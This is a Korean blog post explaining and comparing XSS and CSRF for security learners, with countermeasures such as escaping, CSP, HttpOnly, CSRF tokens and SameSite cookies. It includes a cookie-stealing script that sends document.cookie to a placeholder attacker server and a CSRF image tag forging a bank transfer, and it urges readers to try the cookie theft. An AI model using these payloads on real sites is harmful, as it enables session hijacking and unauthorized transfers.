XSS(크로스 사이트 스크립팅) vs CSRF(크로스 사이트 요청 위조) – 헷갈리는 웹 보안 개념 정리하기

웹 보안에서 자주 언급되는 공격 기법 중 XSS(크로스 사이트 스크립팅), CSRF(크로스 사이트 요청 위조)은 웹 애플리케이션에서 발생하는 대표적인 취약점입니다. 보안 공부할때 가장 헷갈리는 공격 2가지이기에 비교해보고자 글을 작성하려고합니다.

image 20

1. XSS(크로스 사이트 스크립팅)

개념

XSS는 공격자가 웹사이트에 악성 스크립트(JavaScript)를 삽입하여 사용자의 브라우저에서 실행되도록 만드는 공격입니다. 공격자가 주입한 스크립트가 실행되면, 사용자의 쿠키, 세션 정보, 로그인 정보 등을 탈취하거나 악성 사이트로 이동하게 할 수 있습니다. 실제로는 쿠키보다는 세션 정보를 탈취하는 공격이 다수이기에 이같은 점도 확인하는 것이 중요합니다.

예제

사용자가 게시판에 다음과 같은 코드를 입력할 수 있는 취약한 웹사이트가 있다고 가정하겠습니다. 공격자는 이 사이트에 코드를 입력할 게시글을 작성합니다.

<script>alert('XSS공격 코드입니다');</script>

공격자는 이 코드를 게시글에 삽입 후, 저장하게 됩니다. 이후에 다른 사용 다른 사용자가 해당 게시물을 열면 해당 사용자의 브라우저에서 악성 스크립트가 실행됩니다. 이 방식으로 사용자의 로그인 정보나 쿠키를 탈취할 수도 있습니다.

쿠키를 탈취하는 XSS코드는 다음과 같습니다. document.cookie를 통해 사용자의 쿠키 값을 가져오게 되고, document.location을 이용해 공격자의 서버로 쿠키 정보를 전송합니다. 실제로 이 공격코드는 모의해킹을 해볼수 있는 대표적인 공격코드일만큼 방법이 굉장히 쉬우니 가능하다면 한번 해보는 것을 추천드립니다.

<script>
document.location='http://공격자가 쿠키값을 전달받을 서버/steal.php?cookie=' + document.cookie;
</script>

대응 방법

  • 사용자의 입력을 검증하고 필터링하는 기능을 넣어 <script> 태그 같은 위험한 코드가 실행되지 않도록 합니다.
    • 예를 들어, <&lt;, >&gt; 로 변환하여 실행을 막을 수 있습니다.
  • Content Security Policy(CSP)를 설정하여 브라우저가 불필요한 스크립트를 차단하도록 합니다. CSP는 XSS 공격을 방어하기 위해 나온 보안 정책으로 설정시 허용된 소스에서만 스크립트를 실행할수 있도록 제한이 가능합니다.
    • 현재 사이트에서만 스크립트 실행 허용하는 코드
      • Content-Security-Policy: default-src ‘self’;
    • 특정 도메인에서만 스크립트 허용
      • Content-Security-Policy: script-src ‘self’ https://특정 도메인;
  • 쿠키에 HttpOnly 옵션을 적용하여 JavaScript에서 접근할 수 없도록 합니다.
    • 쿠키에 적용하는 보안 설정 중 하나로, 해당옵션을 적용하면 JavaScript에서 쿠키를 읽을 수 없도록 차단됩니다.

2. CSRF(크로스 사이트 요청 위조)

개념

CSRF 공격은 사용자가 웹사이트에 로그인된 상태에서 공격자가 강제 요청을 실행하게 만들어 피해를 입히는 해킹 기법입니다.
즉, 사용자가 원하지 않는 송금, 비밀번호 변경, 게시글 작성 등의 요청이 공격자 의도대로 실행될 수 있습니다. CSRF는 보기 어려운 공격이지만 주의해야할만한 영향력을 지닌 공격입니다.

예시를 들면 다음과 같습니다.

  • 1. 사용자가 A 은행 사이트에 로그인합니다.
  • 2. 공격자가 이메일이나 악성 링크를 통해 피해자를 속입니다.
  • 3. 사용자가 해당 링크를 클릭하면, A 은행에서 공격자가 원하는 요청이 실행됩니다.
  • 예: 피해자의 계좌에서 공격자의 계좌로 돈을 이체 🚨

예제

공격자가 피해자의 계좌에서 돈을 빼가려면, 다음과 같은 악성 링크를 포함한 이메일을 보낼 수 있습니다.

<img src="https://은행사이트/transfer?to=attacker&amount=100000">

위 코드가 이메일에 포함되어 있고, 사용자가 이메일을 열면 자동으로 이체 요청이 실행될 수 있습니다.
즉, 사용자는 아무 행동도 하지 않았지만, 돈이 공격자의 계좌로 전송됩니다.

대응 방법

  • CSRF 토큰(Token) 사용 (가장 효과적인 방법)
    • CSRF 토큰은 사용자가 요청을 보낼 때 서버가 생성한 난수(랜덤 문자열)를 함께 보내는 방식입니다.
      공격자는 이 토큰 값을 예측할 수 없기 때문에, CSRF 공격을 실행할 수 없습니다.
  • 쿠키의 SameSite 속성 설정 (쿠키 자동 전송 차단)
    • SameSite 속성을 설정하면 다른 사이트에서 내 사이트로 요청할 때 자동으로 쿠키가 전송되지 않도록 차단할 수 있습니다.
  • 중요한 요청에는 추가 인증 (OTP, CAPTCHA) 적용
  • Referer 헤더 검증 (출처 확인)
    • 이 헤더는 현재 요청이 어디서 왔는지 나타내는 정보이므로 해당 요청이 신뢰할 수 없는 사이트에서 왔다면 서버에서 해당 요청을 차단할 수 있어 공격을 막게 됩니다.

error: 우클릭 할 수 없습니다.